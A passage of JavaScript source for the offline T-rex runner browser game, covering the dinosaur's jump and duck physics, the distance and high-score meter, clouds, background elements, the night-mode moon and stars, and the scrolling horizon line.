Runner.config.BOTTOM_PAD;
this.yPos = this.groundYPos;
this.minJumpHeight = this.groundYPos - this.config.MIN_JUMP_HEIGHT;
this.draw(0, 0);
this.update(0, Trex.status.WAITING);
},
/**
* Assign the appropriate jump parameters based on the game speed.
*/
enableSlowConfig: function() {
const jumpConfig =
Runner.slowDown ? Trex.slowJumpConfig : Trex.normalJumpConfig;
Trex.config = Object.assign(Trex.config, jumpConfig);
this.adjustAltGameConfigForSlowSpeed();
},
/**
* Enables the alternative game. Redefines the dino config.
* @param {Object} spritePos New positioning within image sprite.
*/
enableAltGameMode: function(spritePos) {
this.altGameModeEnabled = true;
this.spritePos = spritePos;
const spriteDefinition = Runner.spriteDefinition['TREX'];
// Update animation frames.
Trex.animFrames.RUNNING.frames =
[spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];
Trex.animFrames.CRASHED.frames = [spriteDefinition.CRASHED.x];
if (typeof spriteDefinition.JUMPING.x == 'object') {
Trex.animFrames.JUMPING.frames = spriteDefinition.JUMPING.x;
} else {
Trex.animFrames.JUMPING.frames = [spriteDefinition.JUMPING.x];
}
Trex.animFrames.DUCKING.frames =
[spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];
// Update Trex config
Trex.config.GRAVITY = spriteDefinition.GRAVITY || Trex.config.GRAVITY;
Trex.config.HEIGHT = spriteDefinition.RUNNING_1.h,
Trex.config.INITIAL_JUMP_VELOCITY = spriteDefinition.INITIAL_JUMP_VELOCITY;
Trex.config.MAX_JUMP_HEIGHT = spriteDefinition.MAX_JUMP_HEIGHT;
Trex.config.MIN_JUMP_HEIGHT = spriteDefinition.MIN_JUMP_HEIGHT;
Trex.config.WIDTH = spriteDefinition.RUNNING_1.w;
Trex.config.WIDTH_JUMP = spriteDefinition.JUMPING.w;
Trex.config.INVERT_JUMP = spriteDefinition.INVERT_JUMP;
this.adjustAltGameConfigForSlowSpeed(spriteDefinition.GRAVITY);
this.config = Trex.config;
// Adjust bottom horizon placement.
this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
Runner.spriteDefinition['BOTTOM_PAD'];
this.yPos = this.groundYPos;
this.reset();
},
/**
* Slow speeds adjustments for the alt game modes.
* @param {number=} opt_gravityValue
*/
adjustAltGameConfigForSlowSpeed: function(opt_gravityValue) {
if (Runner.slowDown) {
if (opt_gravityValue) {
Trex.config.GRAVITY = opt_gravityValue / 1.5;
}
Trex.config.MIN_JUMP_HEIGHT *= 1.5;
Trex.config.MAX_JUMP_HEIGHT *= 1.5;
Trex.config.INITIAL_JUMP_VELOCITY =
Trex.config.INITIAL_JUMP_VELOCITY * 1.5;
}
},
/**
* Setter whether dino is flashing.
* @param {boolean} status
*/
setFlashing: function(status) {
this.flashing = status;
},
/**
* Setter for the jump velocity.
* The approriate drop velocity is also set.
* @param {number} setting
*/
setJumpVelocity(setting) {
this.config.INITIAL_JUMP_VELOCITY = -setting;
this.config.DROP_VELOCITY = -setting / 2;
},
/**
* Set the animation status.
* @param {!number} deltaTime
* @param {Trex.status=} opt_status Optional status to switch to.
*/
update(deltaTime, opt_status) {
this.timer += deltaTime;
// Update the status.
if (opt_status) {
this.status = opt_status;
this.currentFrame = 0;
this.msPerFrame = Trex.animFrames[opt_status].msPerFrame;
this.currentAnimFrames = Trex.animFrames[opt_status].frames;
if (opt_status === Trex.status.WAITING) {
this.animStartTime = getTimeStamp();
this.setBlinkDelay();
}
}
// Game intro animation, T-rex moves in from the left.
if (this.playingIntro && this.xPos < this.config.START_X_POS) {
this.xPos += Math.round((this.config.START_X_POS /
this.config.INTRO_DURATION) * deltaTime);
this.xInitialPos = this.xPos;
}
if (this.status === Trex.status.WAITING) {
this.blink(getTimeStamp());
} else {
this.draw(this.currentAnimFrames[this.currentFrame], 0);
}
// Update the frame position.
if (!this.flashing && this.timer >= this.msPerFrame) {
this.currentFrame = this.currentFrame ==
this.currentAnimFrames.length - 1 ? 0 : this.currentFrame + 1;
this.timer = 0;
}
if (!this.altGameModeEnabled) {
// Speed drop becomes duck if the down key is still being pressed.
if (this.speedDrop && this.yPos === this.groundYPos) {
this.speedDrop = false;
this.setDuck(true);
}
}
},
/**
* Draw the t-rex to a particular position.
* @param {number} x
* @param {number} y
*/
draw(x, y) {
let sourceX = x;
let sourceY = y;
let sourceWidth = this.ducking && this.status !== Trex.status.CRASHED ?
this.config.WIDTH_DUCK :
this.config.WIDTH;
let sourceHeight = this.config.HEIGHT;
const outputHeight = sourceHeight;
let jumpOffset = Runner.spriteDefinition.TREX.JUMPING.xOffset;
// Width of sprite changes on jump.
if (this.altGameModeEnabled && this.jumping &&
this.status !== Trex.status.CRASHED) {
sourceWidth = this.config.WIDTH_JUMP;
}
if (IS_HIDPI) {
sourceX *= 2;
sourceY *= 2;
sourceWidth *= 2;
sourceHeight *= 2;
jumpOffset *= 2;
}
// Adjustments for sprite sheet position.
sourceX += this.spritePos.x;
sourceY += this.spritePos.y;
// Flashing.
if (this.flashing) {
if (this.timer < this.config.FLASH_ON) {
this.canvasCtx.globalAlpha = 0.5;
} else if (this.timer > this.config.FLASH_OFF) {
this.timer = 0;
}
}
// Ducking.
if (!this.altGameModeEnabled && this.ducking &&
this.status !== Trex.status.CRASHED) {
this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
sourceWidth, sourceHeight,
this.xPos, this.yPos,
this.config.WIDTH_DUCK, outputHeight);
} else if (
this.altGameModeEnabled && this.jumping &&
this.status !== Trex.status.CRASHED) {
// Jumping with adjustments.
this.canvasCtx.drawImage(
Runner.imageSprite, sourceX, sourceY, sourceWidth, sourceHeight,
this.xPos - jumpOffset, this.yPos, this.config.WIDTH_JUMP,
outputHeight);
} else {
// Crashed whilst ducking. Trex is standing up so needs adjustment.
if (this.ducking && this.status === Trex.status.CRASHED) {
this.xPos++;
}
// Standing / running
this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
sourceWidth, sourceHeight,
this.xPos, this.yPos,
this.config.WIDTH, outputHeight);
}
this.canvasCtx.globalAlpha = 1;
},
/**
* Sets a random time for the blink to happen.
*/
setBlinkDelay() {
this.blinkDelay = Math.ceil(Math.random() * Trex.BLINK_TIMING);
},
/**
* Make t-rex blink at random intervals.
* @param {number} time Current time in milliseconds.
*/
blink(time) {
const deltaTime = time - this.animStartTime;
if (deltaTime >= this.blinkDelay) {
this.draw(this.currentAnimFrames[this.currentFrame], 0);
if (this.currentFrame === 1) {
// Set new random delay to blink.
this.setBlinkDelay();
this.animStartTime = time;
this.blinkCount++;
}
}
},
/**
* Initialise a jump.
* @param {number} speed
*/
startJump(speed) {
if (!this.jumping) {
this.update(0, Trex.status.JUMPING);
// Tweak the jump velocity based on the speed.
this.jumpVelocity = this.config.INITIAL_JUMP_VELOCITY - (speed / 10);
this.jumping = true;
this.reachedMinHeight = false;
this.speedDrop = false;
if (this.config.INVERT_JUMP) {
this.minJumpHeight = this.groundYPos + this.config.MIN_JUMP_HEIGHT;
}
}
},
/**
* Jump is complete, falling down.
*/
endJump() {
if (this.reachedMinHeight &&
this.jumpVelocity < this.config.DROP_VELOCITY) {
this.jumpVelocity = this.config.DROP_VELOCITY;
}
},
/**
* Update frame for a jump.
* @param {number} deltaTime
*/
updateJump(deltaTime) {
const msPerFrame = Trex.animFrames[this.status].msPerFrame;
const framesElapsed = deltaTime / msPerFrame;
// Speed drop makes Trex fall faster.
if (this.speedDrop) {
this.yPos += Math.round(this.jumpVelocity *
this.config.SPEED_DROP_COEFFICIENT * framesElapsed);
} else if (this.config.INVERT_JUMP) {
this.yPos -= Math.round(this.jumpVelocity * framesElapsed);
} else {
this.yPos += Math.round(this.jumpVelocity * framesElapsed);
}
this.jumpVelocity += this.config.GRAVITY * framesElapsed;
// Minimum height has been reached.
if (this.config.INVERT_JUMP && (this.yPos > this.minJumpHeight) ||
!this.config.INVERT_JUMP && (this.yPos < this.minJumpHeight) ||
this.speedDrop) {
this.reachedMinHeight = true;
}
// Reached max height.
if (this.config.INVERT_JUMP && (this.yPos > -this.config.MAX_JUMP_HEIGHT) ||
!this.config.INVERT_JUMP && (this.yPos < this.config.MAX_JUMP_HEIGHT) ||
this.speedDrop) {
this.endJump();
}
// Back down at ground level. Jump completed.
if ((this.config.INVERT_JUMP && this.yPos) < this.groundYPos ||
(!this.config.INVERT_JUMP && this.yPos) > this.groundYPos) {
this.reset();
this.jumpCount++;
if (Runner.audioCues) {
Runner.generatedSoundFx.loopFootSteps();
}
}
},
/**
* Set the speed drop. Immediately cancels the current jump.
*/
setSpeedDrop() {
this.speedDrop = true;
this.jumpVelocity = 1;
},
/**
* @param {boolean} isDucking
*/
setDuck(isDucking) {
if (isDucking && this.status !== Trex.status.DUCKING) {
this.update(0, Trex.status.DUCKING);
this.ducking = true;
} else if (this.status === Trex.status.DUCKING) {
this.update(0, Trex.status.RUNNING);
this.ducking = false;
}
},
/**
* Reset the t-rex to running at start of game.
*/
reset() {
this.xPos = this.xInitialPos;
this.yPos = this.groundYPos;
this.jumpVelocity = 0;
this.jumping = false;
this.ducking = false;
this.update(0, Trex.status.RUNNING);
this.midair = false;
this.speedDrop = false;
this.jumpCount = 0;
},
};
//******************************************************************************
/**
* Handles displaying the distance meter.
* @param {!HTMLCanvasElement} canvas
* @param {Object} spritePos Image position in sprite.
* @param {number} canvasWidth
* @constructor
*/
function DistanceMeter(canvas, spritePos, canvasWidth) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.image = Runner.imageSprite;
this.spritePos = spritePos;
this.x = 0;
this.y = 5;
this.currentDistance = 0;
this.maxScore = 0;
this.highScore = '0';
this.container = null;
this.digits = [];
this.achievement = false;
this.defaultString = '';
this.flashTimer = 0;
this.flashIterations = 0;
this.invertTrigger = false;
this.flashingRafId = null;
this.highScoreBounds = {};
this.highScoreFlashing = false;
this.config = DistanceMeter.config;
this.maxScoreUnits = this.config.MAX_DISTANCE_UNITS;
this.canvasWidth = canvasWidth;
this.init(canvasWidth);
}
/**
* @enum {number}
*/
DistanceMeter.dimensions = {
WIDTH: 10,
HEIGHT: 13,
DEST_WIDTH: 11,
};
/**
* Y positioning of the digits in the sprite sheet.
* X position is always 0.
* @type {Array<number>}
*/
DistanceMeter.yPos = [0, 13, 27, 40, 53, 67, 80, 93, 107, 120];
/**
* Distance meter config.
* @enum {number}
*/
DistanceMeter.config = {
// Number of digits.
MAX_DISTANCE_UNITS: 5,
// Distance that causes achievement animation.
ACHIEVEMENT_DISTANCE: 100,
// Used for conversion from pixel distance to a scaled unit.
COEFFICIENT: 0.025,
// Flash duration in milliseconds.
FLASH_DURATION: 1000 / 4,
// Flash iterations for achievement animation.
FLASH_ITERATIONS: 3,
// Padding around the high score hit area.
HIGH_SCORE_HIT_AREA_PADDING: 4,
};
DistanceMeter.prototype = {
/**
* Initialise the distance meter to '00000'.
* @param {number} width Canvas width in px.
*/
init(width) {
let maxDistanceStr = '';
this.calcXPos(width);
this.maxScore = this.maxScoreUnits;
for (let i = 0; i < this.maxScoreUnits; i++) {
this.draw(i, 0);
this.defaultString += '0';
maxDistanceStr += '9';
}
this.maxScore = parseInt(maxDistanceStr, 10);
},
/**
* Calculate the xPos in the canvas.
* @param {number} canvasWidth
*/
calcXPos(canvasWidth) {
this.x = canvasWidth - (DistanceMeter.dimensions.DEST_WIDTH *
(this.maxScoreUnits + 1));
},
/**
* Draw a digit to canvas.
* @param {number} digitPos Position of the digit.
* @param {number} value Digit value 0-9.
* @param {boolean=} opt_highScore Whether drawing the high score.
*/
draw(digitPos, value, opt_highScore) {
let sourceWidth = DistanceMeter.dimensions.WIDTH;
let sourceHeight = DistanceMeter.dimensions.HEIGHT;
let sourceX = DistanceMeter.dimensions.WIDTH * value;
let sourceY = 0;
const targetX = digitPos * DistanceMeter.dimensions.DEST_WIDTH;
const targetY = this.y;
const targetWidth = DistanceMeter.dimensions.WIDTH;
const targetHeight = DistanceMeter.dimensions.HEIGHT;
// For high DPI we 2x source values.
if (IS_HIDPI) {
sourceWidth *= 2;
sourceHeight *= 2;
sourceX *= 2;
}
sourceX += this.spritePos.x;
sourceY += this.spritePos.y;
this.canvasCtx.save();
if (IS_RTL) {
if (opt_highScore) {
this.canvasCtx.translate(
this.canvasWidth -
(DistanceMeter.dimensions.WIDTH * (this.maxScoreUnits + 3)),
this.y);
} else {
this.canvasCtx.translate(
this.canvasWidth - DistanceMeter.dimensions.WIDTH, this.y);
}
this.canvasCtx.scale(-1, 1);
} else {
const highScoreX =
this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH;
if (opt_highScore) {
this.canvasCtx.translate(highScoreX, this.y);
} else {
this.canvasCtx.translate(this.x, this.y);
}
}
this.canvasCtx.drawImage(
this.image,
sourceX,
sourceY,
sourceWidth,
sourceHeight,
targetX,
targetY,
targetWidth,
targetHeight,
);
this.canvasCtx.restore();
},
/**
* Covert pixel distance to a 'real' distance.
* @param {number} distance Pixel distance ran.
* @return {number} The 'real' distance ran.
*/
getActualDistance(distance) {
return distance ? Math.round(distance * this.config.COEFFICIENT) : 0;
},
/**
* Update the distance meter.
* @param {number} distance
* @param {number} deltaTime
* @return {boolean} Whether the acheivement sound fx should be played.
*/
update(deltaTime, distance) {
let paint = true;
let playSound = false;
if (!this.achievement) {
distance = this.getActualDistance(distance);
// Score has gone beyond the initial digit count.
if (distance > this.maxScore && this.maxScoreUnits ==
this.config.MAX_DISTANCE_UNITS) {
this.maxScoreUnits++;
this.maxScore = parseInt(this.maxScore + '9', 10);
} else {
this.distance = 0;
}
if (distance > 0) {
// Achievement unlocked.
if (distance % this.config.ACHIEVEMENT_DISTANCE === 0) {
// Flash score and play sound.
this.achievement = true;
this.flashTimer = 0;
playSound = true;
}
// Create a string representation of the distance with leading 0.
const distanceStr = (this.defaultString +
distance).substr(-this.maxScoreUnits);
this.digits = distanceStr.split('');
} else {
this.digits = this.defaultString.split('');
}
} else {
// Control flashing of the score on reaching acheivement.
if (this.flashIterations <= this.config.FLASH_ITERATIONS) {
this.flashTimer += deltaTime;
if (this.flashTimer < this.config.FLASH_DURATION) {
paint = false;
} else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
this.flashTimer = 0;
this.flashIterations++;
}
} else {
this.achievement = false;
this.flashIterations = 0;
this.flashTimer = 0;
}
}
// Draw the digits if not flashing.
if (paint) {
for (let i = this.digits.length - 1; i >= 0; i--) {
this.draw(i, parseInt(this.digits[i], 10));
}
}
this.drawHighScore();
return playSound;
},
/**
* Draw the high score.
*/
drawHighScore() {
if (parseInt(this.highScore, 10) > 0) {
this.canvasCtx.save();
this.canvasCtx.globalAlpha = .8;
for (let i = this.highScore.length - 1; i >= 0; i--) {
this.draw(i, parseInt(this.highScore[i], 10), true);
}
this.canvasCtx.restore();
}
},
/**
* Set the highscore as a array string.
* Position of char in the sprite: H - 10, I - 11.
* @param {number} distance Distance ran in pixels.
*/
setHighScore(distance) {
distance = this.getActualDistance(distance);
const highScoreStr = (this.defaultString +
distance).substr(-this.maxScoreUnits);
this.highScore = ['10', '11', ''].concat(highScoreStr.split(''));
},
/**
* Whether a clicked is in the high score area.
* @param {Event} e Event object.
* @return {boolean} Whether the click was in the high score bounds.
*/
hasClickedOnHighScore(e) {
let x = 0;
let y = 0;
if (e.touches) {
// Bounds for touch differ from pointer.
const canvasBounds = this.canvas.getBoundingClientRect();
x = e.touches[0].clientX - canvasBounds.left;
y = e.touches[0].clientY - canvasBounds.top;
} else {
x = e.offsetX;
y = e.offsetY;
}
this.highScoreBounds = this.getHighScoreBounds();
return x >= this.highScoreBounds.x && x <=
this.highScoreBounds.x + this.highScoreBounds.width &&
y >= this.highScoreBounds.y && y <=
this.highScoreBounds.y + this.highScoreBounds.height;
},
/**
* Get the bounding box for the high score.
* @return {Object} Object with x, y, width and height properties.
*/
getHighScoreBounds() {
return {
x: (this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH) -
DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
y: this.y,
width: DistanceMeter.dimensions.WIDTH * (this.highScore.length + 1) +
DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
height: DistanceMeter.dimensions.HEIGHT +
(DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING * 2),
};
},
/**
* Animate flashing the high score to indicate ready for resetting.
* The flashing stops following this.config.FLASH_ITERATIONS x 2 flashes.
*/
flashHighScore() {
const now = getTimeStamp();
const deltaTime = now - (this.frameTimeStamp || now);
let paint = true;
this.frameTimeStamp = now;
// Reached the max number of flashes.
if (this.flashIterations > this.config.FLASH_ITERATIONS * 2) {
this.cancelHighScoreFlashing();
return;
}
this.flashTimer += deltaTime;
if (this.flashTimer < this.config.FLASH_DURATION) {
paint = false;
} else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
this.flashTimer = 0;
this.flashIterations++;
}
if (paint) {
this.drawHighScore();
} else {
this.clearHighScoreBounds();
}
// Frame update.
this.flashingRafId =
requestAnimationFrame(this.flashHighScore.bind(this));
},
/**
* Draw empty rectangle over high score.
*/
clearHighScoreBounds() {
this.canvasCtx.save();
this.canvasCtx.fillStyle = '#fff';
this.canvasCtx.rect(this.highScoreBounds.x, this.highScoreBounds.y,
this.highScoreBounds.width, this.highScoreBounds.height);
this.canvasCtx.fill();
this.canvasCtx.restore();
},
/**
* Starts the flashing of the high score.
*/
startHighScoreFlashing() {
this.highScoreFlashing = true;
this.flashHighScore();
},
/**
* Whether high score is flashing.
* @return {boolean}
*/
isHighScoreFlashing() {
return this.highScoreFlashing;
},
/**
* Stop flashing the high score.
*/
cancelHighScoreFlashing() {
if (this.flashingRafId) {
cancelAnimationFrame(this.flashingRafId);
}
this.flashIterations = 0;
this.flashTimer = 0;
this.highScoreFlashing = false;
this.clearHighScoreBounds();
this.drawHighScore();
},
/**
* Clear the high score.
*/
resetHighScore() {
this.setHighScore(0);
this.cancelHighScoreFlashing();
},
/**
* Reset the distance meter back to '00000'.
*/
reset() {
this.update(0, 0);
this.achievement = false;
},
};
//******************************************************************************
/**
* Cloud background item.
* Similar to an obstacle object but without collision boxes.
* @param {HTMLCanvasElement} canvas Canvas element.
* @param {Object} spritePos Position of image in sprite.
* @param {number} containerWidth
* @constructor
*/
function Cloud(canvas, spritePos, containerWidth) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.spritePos = spritePos;
this.containerWidth = containerWidth;
this.xPos = containerWidth;
this.yPos = 0;
this.remove = false;
this.gap =
getRandomNum(Cloud.config.MIN_CLOUD_GAP, Cloud.config.MAX_CLOUD_GAP);
this.init();
}
/**
* Cloud object config.
* @enum {number}
*/
Cloud.config = {
HEIGHT: 14,
MAX_CLOUD_GAP: 400,
MAX_SKY_LEVEL: 30,
MIN_CLOUD_GAP: 100,
MIN_SKY_LEVEL: 71,
WIDTH: 46,
};
Cloud.prototype = {
/**
* Initialise the cloud. Sets the Cloud height.
*/
init() {
this.yPos = getRandomNum(Cloud.config.MAX_SKY_LEVEL,
Cloud.config.MIN_SKY_LEVEL);
this.draw();
},
/**
* Draw the cloud.
*/
draw() {
this.canvasCtx.save();
let sourceWidth = Cloud.config.WIDTH;
let sourceHeight = Cloud.config.HEIGHT;
const outputWidth = sourceWidth;
const outputHeight = sourceHeight;
if (IS_HIDPI) {
sourceWidth = sourceWidth * 2;
sourceHeight = sourceHeight * 2;
}
this.canvasCtx.drawImage(Runner.imageSprite, this.spritePos.x,
this.spritePos.y,
sourceWidth, sourceHeight,
this.xPos, this.yPos,
outputWidth, outputHeight);
this.canvasCtx.restore();
},
/**
* Update the cloud position.
* @param {number} speed
*/
update(speed) {
if (!this.remove) {
this.xPos -= Math.ceil(speed);
this.draw();
// Mark as removeable if no longer in the canvas.
if (!this.isVisible()) {
this.remove = true;
}
}
},
/**
* Check if the cloud is visible on the stage.
* @return {boolean}
*/
isVisible() {
return this.xPos + Cloud.config.WIDTH > 0;
},
};
/**
* Background item.
* Similar to cloud, without random y position.
* @param {HTMLCanvasElement} canvas Canvas element.
* @param {Object} spritePos Position of image in sprite.
* @param {number} containerWidth
* @param {string} type Element type.
* @constructor
*/
function BackgroundEl(canvas, spritePos, containerWidth, type) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.spritePos = spritePos;
this.containerWidth = containerWidth;
this.xPos = containerWidth;
this.yPos = 0;
this.remove = false;
this.type = type;
this.gap =
getRandomNum(BackgroundEl.config.MIN_GAP, BackgroundEl.config.MAX_GAP);
this.animTimer = 0;
this.switchFrames = false;
this.spriteConfig = {};
this.init();
}
/**
* Background element object config.
* Real values assigned when game type changes.
* @enum {number}
*/
BackgroundEl.config = {
MAX_BG_ELS: 0,
MAX_GAP: 0,
MIN_GAP: 0,
POS: 0,
SPEED: 0,
Y_POS: 0,
MS_PER_FRAME: 0, // only needed when BACKGROUND_EL.FIXED is true
};
BackgroundEl.prototype = {
/**
* Initialise the element setting the y position.
*/
init() {
this.spriteConfig = Runner.spriteDefinition.BACKGROUND_EL[this.type];
if (this.spriteConfig.FIXED) {
this.xPos = this.spriteConfig.FIXED_X_POS;
}
this.yPos = BackgroundEl.config.Y_POS - this.spriteConfig.HEIGHT +
this.spriteConfig.OFFSET;
this.draw();
},
/**
* Draw the element.
*/
draw() {
this.canvasCtx.save();
let sourceWidth = this.spriteConfig.WIDTH;
let sourceHeight = this.spriteConfig.HEIGHT;
let sourceX = this.spriteConfig.X_POS;
const outputWidth = sourceWidth;
const outputHeight = sourceHeight;
if (IS_HIDPI) {
sourceWidth *= 2;
sourceHeight *= 2;
sourceX *= 2;
}
this.canvasCtx.drawImage(
Runner.imageSprite, sourceX, this.spritePos.y, sourceWidth,
sourceHeight, this.xPos, this.yPos, outputWidth, outputHeight);
this.canvasCtx.restore();
},
/**
* Update the background element position.
* @param {number} speed
*/
update(speed) {
if (!this.remove) {
if (this.spriteConfig.FIXED) {
this.animTimer += speed;
if (this.animTimer > BackgroundEl.config.MS_PER_FRAME) {
this.animTimer = 0;
this.switchFrames = !this.switchFrames;
}
if (this.spriteConfig.FIXED_Y_POS_1 &&
this.spriteConfig.FIXED_Y_POS_2) {
this.yPos = this.switchFrames ? this.spriteConfig.FIXED_Y_POS_1 :
this.spriteConfig.FIXED_Y_POS_2;
}
} else {
// Fixed speed, regardless of actual game speed.
this.xPos -= BackgroundEl.config.SPEED;
}
this.draw();
// Mark as removable if no longer in the canvas.
if (!this.isVisible()) {
this.remove = true;
}
}
},
/**
* Check if the element is visible on the stage.
* @return {boolean}
*/
isVisible() {
return this.xPos + this.spriteConfig.WIDTH > 0;
},
};
//******************************************************************************
/**
* Nightmode shows a moon and stars on the horizon.
* @param {HTMLCanvasElement} canvas
* @param {number} spritePos
* @param {number} containerWidth
* @constructor
*/
function NightMode(canvas, spritePos, containerWidth) {
this.spritePos = spritePos;
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.xPos = containerWidth - 50;
this.yPos = 30;
this.currentPhase = 0;
this.opacity = 0;
this.containerWidth = containerWidth;
this.stars = [];
this.drawStars = false;
this.placeStars();
}
/**
* @enum {number}
*/
NightMode.config = {
FADE_SPEED: 0.035,
HEIGHT: 40,
MOON_SPEED: 0.25,
NUM_STARS: 2,
STAR_SIZE: 9,
STAR_SPEED: 0.3,
STAR_MAX_Y: 70,
WIDTH: 20,
};
NightMode.phases = [140, 120, 100, 60, 40, 20, 0];
NightMode.prototype = {
/**
* Update moving moon, changing phases.
* @param {boolean} activated Whether night mode is activated.
*/
update(activated) {
// Moon phase.
if (activated && this.opacity === 0) {
this.currentPhase++;
if (this.currentPhase >= NightMode.phases.length) {
this.currentPhase = 0;
}
}
// Fade in / out.
if (activated && (this.opacity < 1 || this.opacity === 0)) {
this.opacity += NightMode.config.FADE_SPEED;
} else if (this.opacity > 0) {
this.opacity -= NightMode.config.FADE_SPEED;
}
// Set moon positioning.
if (this.opacity > 0) {
this.xPos = this.updateXPos(this.xPos, NightMode.config.MOON_SPEED);
// Update stars.
if (this.drawStars) {
for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
this.stars[i].x =
this.updateXPos(this.stars[i].x, NightMode.config.STAR_SPEED);
}
}
this.draw();
} else {
this.opacity = 0;
this.placeStars();
}
this.drawStars = true;
},
updateXPos(currentPos, speed) {
if (currentPos < -NightMode.config.WIDTH) {
currentPos = this.containerWidth;
} else {
currentPos -= speed;
}
return currentPos;
},
draw() {
let moonSourceWidth = this.currentPhase === 3 ? NightMode.config.WIDTH * 2 :
NightMode.config.WIDTH;
let moonSourceHeight = NightMode.config.HEIGHT;
let moonSourceX = this.spritePos.x + NightMode.phases[this.currentPhase];
const moonOutputWidth = moonSourceWidth;
let starSize = NightMode.config.STAR_SIZE;
let starSourceX = Runner.spriteDefinitionByType.original.LDPI.STAR.x;
if (IS_HIDPI) {
moonSourceWidth *= 2;
moonSourceHeight *= 2;
moonSourceX = this.spritePos.x +
(NightMode.phases[this.currentPhase] * 2);
starSize *= 2;
starSourceX = Runner.spriteDefinitionByType.original.HDPI.STAR.x;
}
this.canvasCtx.save();
this.canvasCtx.globalAlpha = this.opacity;
// Stars.
if (this.drawStars) {
for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
this.canvasCtx.drawImage(
Runner.origImageSprite, starSourceX, this.stars[i].sourceY,
starSize, starSize, Math.round(this.stars[i].x), this.stars[i].y,
NightMode.config.STAR_SIZE, NightMode.config.STAR_SIZE);
}
}
// Moon.
this.canvasCtx.drawImage(
Runner.origImageSprite, moonSourceX, this.spritePos.y, moonSourceWidth,
moonSourceHeight, Math.round(this.xPos), this.yPos, moonOutputWidth,
NightMode.config.HEIGHT);
this.canvasCtx.globalAlpha = 1;
this.canvasCtx.restore();
},
// Do star placement.
placeStars() {
const segmentSize = Math.round(this.containerWidth /
NightMode.config.NUM_STARS);
for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
this.stars[i] = {};
this.stars[i].x = getRandomNum(segmentSize * i, segmentSize * (i + 1));
this.stars[i].y = getRandomNum(0, NightMode.config.STAR_MAX_Y);
if (IS_HIDPI) {
this.stars[i].sourceY =
Runner.spriteDefinitionByType.original.HDPI.STAR.y +
NightMode.config.STAR_SIZE * 2 * i;
} else {
this.stars[i].sourceY =
Runner.spriteDefinitionByType.original.LDPI.STAR.y +
NightMode.config.STAR_SIZE * i;
}
}
},
reset() {
this.currentPhase = 0;
this.opacity = 0;
this.update(false);
},
};
//******************************************************************************
/**
* Horizon Line.
* Consists of two connecting lines. Randomly assigns a flat / bumpy horizon.
* @param {HTMLCanvasElement} canvas
* @param {Object} lineConfig Configuration object.
* @constructor
*/
function HorizonLine(canvas, lineConfig) {
let sourceX = lineConfig.SOURCE_X;
let sourceY = lineConfig.SOURCE_Y;
if (IS_HIDPI) {
sourceX *= 2;
sourceY *= 2;
}
this.spritePos = {x: sourceX, y: sourceY};
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.sourceDimensions = {};
this.dimensions = lineConfig;
this.sourceXPos = [this.spritePos.x, this.spritePos.x +
this.dimensions.WIDTH];
this.xPos = [];
this.yPos = 0;
this.bumpThreshold = 0.5;
this.setSourceDimensions(lineConfig);
this.draw();
}
/**
* Horizon line dimensions.
* @enum {number}
*/
HorizonLine.dimensions = {
WIDTH: 600,
HEIGHT: 12,
YPOS: 127,
};
HorizonLine.prototype = {
/**
* Set the source dimensions of the horizon line.
*/
setSourceDimensions(newDimensions) {
for (const dimension in newDimensions) {
if (dimension !== 'SOURCE_X' && dimension !== 'SOURCE_Y') {
if (IS_HIDPI) {
if (dimension !== 'YPOS') {
this.sourceDimensions[dimension] = newDimensions[dimension] * 2;
}
} else {
this.sourceDimensions[dimension] = newDimensions[dimension];
}
this.dimensions[dimension] = newDimensions[dimension];
}
}
this.xPos = [0, newDimensions.WIDTH];
this.yPos = newDimensions.YPOS;
},
/**
* Return the crop x position of a type.
*/
getRandomType() {
return Math.random() > this.bumpThreshold ? this.dimensions.WIDTH : 0;
},
/**
* Draw the horizon line.
*/
draw() {
this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[0],
this.spritePos.y,
this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
this.xPos[0], this.yPos,
this.dimensions.WIDTH, this.dimensions.HEIGHT);
this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[1],
this.spritePos.y,
this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
this.xPos[1], this.yPos,
this.dimensions.WIDTH, this.dimensions.HEIGHT);
},
/**
* Update the x position of an indivdual piece of the line.
* @param {number} pos Line position.
* @param {number} increment
*/
updateXPos(pos, increment) {
const line1 = pos;
const line2 = pos === 0 ? 1 : 0;
this.xPos[line1] -= increment;
this.xPos[line2] = this.xPos[line1] + this.dimensions.WIDTH;
if (this.xPos[line1] <= -this.dimensions.WIDTH) {
this.xPos[line1] += this.dimensions.WIDTH * 2;
this.xPos[line2] = this.xPos[line1] - this.dimensions.WIDTH;
this.sourceXPos[line1] = this.getRandomType() + this.spritePos.x;
}
},
/**
* Update the horizon line.
* @param {number} deltaTime
* @param {number} speed
*/
update(deltaTime, speed) {
const increment = Math.floor(speed * (FPS / 1000) * deltaTime);
if (this.xPos[0] <= 0) {
this.updateXPos(0, increment);
} else {
this.updateXPos(1, increment);
}
this.draw();
},
/**
* Reset horizon to the starting position.
*/
reset() {
this.xPos[0] = 0;
this.xPos[1] = this.dimensions.WIDTH;
},
};
//******************************************************************************
/**
* Horizon background class.
